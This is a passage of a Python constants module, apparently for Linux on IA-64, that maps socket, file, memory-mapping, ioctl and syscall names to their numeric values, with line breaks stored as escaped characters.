Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',1)\nSO_DEBUG = Constant('SO_DEBUG',1)\nSO_REUSEADDR = Constant('SO_REUSEADDR',2)\nSO_TYPE = Constant('SO_TYPE',3)\nSO_ERROR = Constant('SO_ERROR',4)\nSO_DONTROUTE = Constant('SO_DONTROUTE',5)\nSO_BROADCAST = Constant('SO_BROADCAST',6)\nSO_SNDBUF = Constant('SO_SNDBUF',7)\nSO_RCVBUF = Constant('SO_RCVBUF',8)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',9)\nSO_OOBINLINE = Constant('SO_OOBINLINE',10)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_LINGER = Constant('SO_LINGER',13)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_REUSEPORT = Constant('SO_REUSEPORT',15)\nSO_PASSCRED = Constant('SO_PASSCRED',16)\nSO_PEERCRED = Constant('SO_PEERCRED',17)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',18)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',19)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',20)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',21)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30)\nSO_PEERSEC = Constant('SO_PEERSEC',31)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_PROTOCOL = Constant('SO_PROTOCOL',38)\nSO_DOMAIN = Constant('SO_DOMAIN',39)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nO_ACCMODE = Constant('O_ACCMODE',0o003)\nO_RDONLY = Constant('O_RDONLY',0o0)\nO_WRONLY = Constant('O_WRONLY',0o1)\nO_RDWR = Constant('O_RDWR',0o2)\nO_CREAT = Constant('O_CREAT',0o100)\nO_EXCL = Constant('O_EXCL',0o200)\nO_NOCTTY = Constant('O_NOCTTY',0o400)\nO_TRUNC = Constant('O_TRUNC',0o1000)\nO_APPEND = Constant('O_APPEND',0o2000)\nO_NONBLOCK = Constant('O_NONBLOCK',0o4000)\nO_NDELAY = Constant('O_NDELAY',0o4000)\nO_DSYNC = Constant('O_DSYNC',0o10000)\nFASYNC = Constant('FASYNC',0o20000)\nO_DIRECT = Constant('O_DIRECT',0o40000)\nO_LARGEFILE = Constant('O_LARGEFILE',0o100000)\nO_DIRECTORY = Constant('O_DIRECTORY',0o200000)\nO_NOFOLLOW = Constant('O_NOFOLLOW',0o400000)\nO_NOATIME = Constant('O_NOATIME',0o1000000)\nO_CLOEXEC = Constant('O_CLOEXEC',0o2000000)\nO_SYNC = Constant('O_SYNC',(0o10000|0o4000000))\nO_PATH = Constant('O_PATH',0o10000000)\n__O_TMPFILE = Constant('__O_TMPFILE',0o20000000)\nF_DUPFD = Constant('F_DUPFD',0)\nF_GETFD = Constant('F_GETFD',1)\nF_SETFD = Constant('F_SETFD',2)\nF_GETFL = Constant('F_GETFL',3)\nF_SETFL = Constant('F_SETFL',4)\nF_GETLK = Constant('F_GETLK',5)\nF_SETLK = Constant('F_SETLK',6)\nF_SETLKW = Constant('F_SETLKW',7)\nF_SETOWN = Constant('F_SETOWN',8)\nF_GETOWN = Constant('F_GETOWN',9)\nF_SETSIG = Constant('F_SETSIG',10)\nF_GETSIG = Constant('F_GETSIG',11)\nF_GETLK64 = Constant('F_GETLK64',12)\nF_SETLK64 = Constant('F_SETLK64',13)\nF_SETLKW64 = Constant('F_SETLKW64',14)\nFD_CLOEXEC = Constant('FD_CLOEXEC',1)\nF_RDLCK = Constant('F_RDLCK',0)\nF_WRLCK = Constant('F_WRLCK',1)\nF_UNLCK = Constant('F_UNLCK',2)\nF_EXLCK = Constant('F_EXLCK',4)\nF_SHLCK = Constant('F_SHLCK',8)\nF_INPROGRESS = Constant('F_INPROGRESS',16)\nLOCK_SH = Constant('LOCK_SH',1)\nLOCK_EX = Constant('LOCK_EX',2)\nLOCK_NB = Constant('LOCK_NB',4)\nLOCK_UN = Constant('LOCK_UN',8)\nLOCK_MAND = Constant('LOCK_MAND',32)\nLOCK_READ = Constant('LOCK_READ',64)\nLOCK_WRITE = Constant('LOCK_WRITE',128)\nLOCK_RW = Constant('LOCK_RW',192)\nO_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0o200000))\nO_ASYNC = Constant('O_ASYNC',0o20000)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FIXED = Constant('MAP_FIXED',0x10)\nMAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20)\nMAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100)\nMAP_GROWSUP = Constant('MAP_GROWSUP',0x0200)\nMAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800)\nMAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000)\nMAP_LOCKED = Constant('MAP_LOCKED',0x2000)\nMAP_NORESERVE = Constant('MAP_NORESERVE',0x4000)\nMAP_POPULATE = Constant('MAP_POPULATE',0x8000)\nMAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000)\nMAP_STACK = Constant('MAP_STACK',0x20000)\nMAP_HUGETLB = Constant('MAP_HUGETLB',0x40000)\nMS_ASYNC = Constant('MS_ASYNC',1)\nMS_INVALIDATE = Constant('MS_INVALIDATE',2)\nMS_SYNC = Constant('MS_SYNC',4)\nMADV_NORMAL = Constant('MADV_NORMAL',0x0)\nMADV_RANDOM = Constant('MADV_RANDOM',0x1)\nMADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2)\nMADV_WILLNEED = Constant('MADV_WILLNEED',0x3)\nMADV_DONTNEED = Constant('MADV_DONTNEED',0x4)\nMAP_ANON = Constant('MAP_ANON',0x20)\nMAP_FILE = Constant('MAP_FILE',0)\nPOSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0)\nPOSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2)\nPOSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1)\nPOSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3)\nPOSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4)\nSYS_accept = Constant('SYS_accept',(1024 + 170))\nSYS_accept4 = Constant('SYS_accept4',(1024 + 310))\nSYS_access = Constant('SYS_access',(1024 + 25))\nSYS_acct = Constant('SYS_acct',(1024 + 40))\nSYS_add_key = Constant('SYS_add_key',(1024 + 247))\nSYS_adjtimex = Constant('SYS_adjtimex',(1024 + 107))\nSYS_afs_syscall = Constant('SYS_afs_syscall',(1024 + 117))\nSYS_bdflush = Constant('SYS_bdflush',(1024 + 114))\nSYS_bind = Constant('SYS_bind',(1024 + 167))\nSYS_bpf = Constant('SYS_bpf',(1024 + 317))\nSYS_brk = Constant('SYS_brk',(1024 + 36))\nSYS_capget = Constant('SYS_capget',(1024 + 161))\nSYS_capset = Constant('SYS_capset',(1024 + 162))\nSYS_chdir = Constant('SYS_chdir',(1024 + 10))\nSYS_chmod = Constant('SYS_chmod',(1024 + 14))\nSYS_chown = Constant('SYS_chown',(1024 + 15))\nSYS_chroot = Constant('SYS_chroot',(1024 + 44))\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',(1024 + 304))\nSYS_clock_getres = Constant('SYS_clock_getres',(1024 + 231))\nSYS_clock_gettime = Constant('SYS_clock_gettime',(1024 + 230))\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',(1024 + 232))\nSYS_clock_settime = Constant('SYS_clock_settime',(1024 + 229))\nSYS_clone = Constant('SYS_clone',(1024 + 104))\nSYS_clone2 = Constant('SYS_clone2',(1024 + 189))\nSYS_close = Constant('SYS_close',(1024 + 5))\nSYS_connect = Constant('SYS_connect',(1024 + 168))\nSYS_copy_file_range = Constant('SYS_copy_file_range',(1024 + 323))\nSYS_creat = 